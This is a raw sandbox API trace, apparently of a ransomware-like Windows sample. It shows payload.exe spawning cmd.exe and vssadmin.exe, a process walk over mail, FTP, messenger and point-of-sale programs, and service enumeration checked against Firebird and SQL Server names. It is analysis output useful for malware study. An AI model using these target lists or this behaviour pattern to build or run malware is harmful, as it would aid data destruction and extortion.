[0062.086] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0062.087] lstrlenW (lpString="flashfxp.exe") returned 12 [0062.087] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0062.088] lstrlenW (lpString="fling.exe") returned 9 [0062.088] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0062.088] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0062.088] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0062.089] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0062.089] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0062.089] lstrlenW (lpString="icq.exe") returned 7 [0062.089] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0062.090] lstrlenW (lpString="leechftp.exe") returned 12 [0062.090] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0062.091] lstrlenW (lpString="ncftp.exe") returned 9 [0062.091] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0062.092] lstrlenW (lpString="notepad.exe") returned 11 [0062.092] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0062.092] lstrlenW (lpString="operamail.exe") returned 13 [0062.092] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0062.093] lstrlenW (lpString="pidgin.exe") returned 10 [0062.093] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0062.094] lstrlenW (lpString="scriptftp.exe") returned 13 [0062.094] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0062.095] lstrlenW (lpString="skype.exe") returned 9 [0062.095] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0062.096] lstrlenW (lpString="smartftp.exe") returned 12 [0062.096] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0062.097] lstrlenW (lpString="thunderbird.exe") returned 15 [0062.097] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0062.097] lstrlenW (lpString="totalcmd.exe") returned 12 [0062.097] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0062.098] lstrlenW (lpString="trillian.exe") returned 12 [0062.098] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0062.099] lstrlenW (lpString="webdrive.exe") returned 12 [0062.099] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0062.100] lstrlenW (lpString="whatsapp.exe") returned 12 [0062.100] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0062.101] lstrlenW (lpString="winscp.exe") returned 10 [0062.101] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0062.101] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0062.101] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0062.102] lstrlenW (lpString="active-charge.exe") returned 17 [0062.102] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x918, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0062.103] lstrlenW (lpString="accupos.exe") returned 11 [0062.103] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0062.104] lstrlenW (lpString="afr38.exe") returned 9 [0062.104] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0062.105] lstrlenW (lpString="aldelo.exe") returned 10 [0062.105] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0062.105] lstrlenW (lpString="ccv_server.exe") returned 14 [0062.105] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0062.106] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0062.106] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0062.107] lstrlenW (lpString="creditservice.exe") returned 17 [0062.107] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0062.108] lstrlenW (lpString="edcsvr.exe") returned 10 [0062.108] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0062.109] lstrlenW (lpString="fpos.exe") returned 8 [0062.109] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0062.109] lstrlenW (lpString="isspos.exe") returned 10 [0062.109] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0062.110] lstrlenW (lpString="mxslipstream.exe") returned 16 [0062.110] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0062.111] lstrlenW (lpString="omnipos.exe") returned 11 [0062.111] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0062.111] lstrlenW (lpString="spcwin.exe") returned 10 [0062.112] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0062.112] lstrlenW (lpString="spgagentservice.exe") returned 19 [0062.112] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0062.113] lstrlenW (lpString="utg2.exe") returned 8 [0062.113] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="slope.exe")) returned 1 [0062.114] lstrlenW (lpString="slope.exe") returned 9 [0062.114] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="entered.exe")) returned 1 [0062.114] lstrlenW (lpString="entered.exe") returned 11 [0062.114] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="demographicinfluences.exe")) returned 1 [0062.115] lstrlenW (lpString="demographicinfluences.exe") returned 25 [0062.115] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="attach.exe")) returned 1 [0062.116] lstrlenW (lpString="attach.exe") returned 10 [0062.116] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations.exe")) returned 1 [0062.117] lstrlenW (lpString="obligations.exe") returned 15 [0062.117] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.118] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.118] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0062.118] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0062.118] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.119] lstrlenW (lpString="taskhost.exe") returned 12 [0062.119] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0062.120] lstrlenW (lpString="dllhost.exe") returned 11 [0062.120] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0062.120] lstrlenW (lpString="dllhost.exe") returned 11 [0062.120] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0062.121] lstrlenW (lpString="payload.exe") returned 11 [0062.121] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0062.121] lstrlenW (lpString="cmd.exe") returned 7 [0062.121] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0062.122] lstrlenW (lpString="conhost.exe") returned 11 [0062.122] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0062.123] lstrlenW (lpString="vssadmin.exe") returned 12 [0062.123] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x15c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0062.123] CloseHandle (hObject=0x1dc) returned 1 [0062.123] Sleep (dwMilliseconds=0x1f4) [0062.855] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x626cd0 [0062.855] EnumServicesStatusExW (in: hSCManager=0x626cd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0062.856] GetLastError () returned 0xea [0062.856] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x123e) returned 0x628500 [0062.856] EnumServicesStatusExW (in: hSCManager=0x626cd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x628500, cbBufSize=0x123e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x628500, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0062.857] CloseServiceHandle (hSCObject=0x626cd0) returned 1 [0062.857] lstrlenW (lpString="Appinfo") returned 7 [0062.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0062.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0062.857] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0062.857] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0062.857] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0062.857] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0062.857] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.857] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0062.858] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0062.858] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0062.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0062.858] lstrlenW (lpString="AudioSrv") returned 8 [0062.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0062.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0062.858] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0062.858] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0062.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0062.858] lstrlenW (lpString="BFE") returned 3 [0062.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0062.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0062.858] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0062.858] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0062.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0062.858] lstrlenW (lpString="CryptSvc") returned 8 [0062.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0062.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0062.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0062.858] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0062.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0062.858] lstrlenW (lpString="CscService") returned 10 [0062.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0062.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0062.858] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0062.858] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0062.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0062.858] lstrlenW (lpString="DcomLaunch") returned 10 [0062.858] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.858] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0062.858] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0062.858] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0062.858] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0062.858] lstrlenW (lpString="Dhcp") returned 4 [0062.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0062.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0062.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0062.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0062.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0062.859] lstrlenW (lpString="Dnscache") returned 8 [0062.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0062.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0062.859] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0062.859] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0062.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0062.859] lstrlenW (lpString="DPS") returned 3 [0062.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0062.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0062.859] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0062.859] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0062.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0062.859] lstrlenW (lpString="eventlog") returned 8 [0062.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0062.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0062.859] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0062.859] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0062.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0062.859] lstrlenW (lpString="EventSystem") returned 11 [0062.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0062.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0062.859] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0062.859] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0062.859] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0062.859] lstrlenW (lpString="gpsvc") returned 5 [0062.859] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0062.859] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0062.859] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0062.859] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0062.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0062.860] lstrlenW (lpString="iphlpsvc") returned 8 [0062.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.860] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0062.860] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0062.860] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0062.860] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0062.860] lstrlenW (lpString="LanmanServer") returned 12 [0062.860] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned 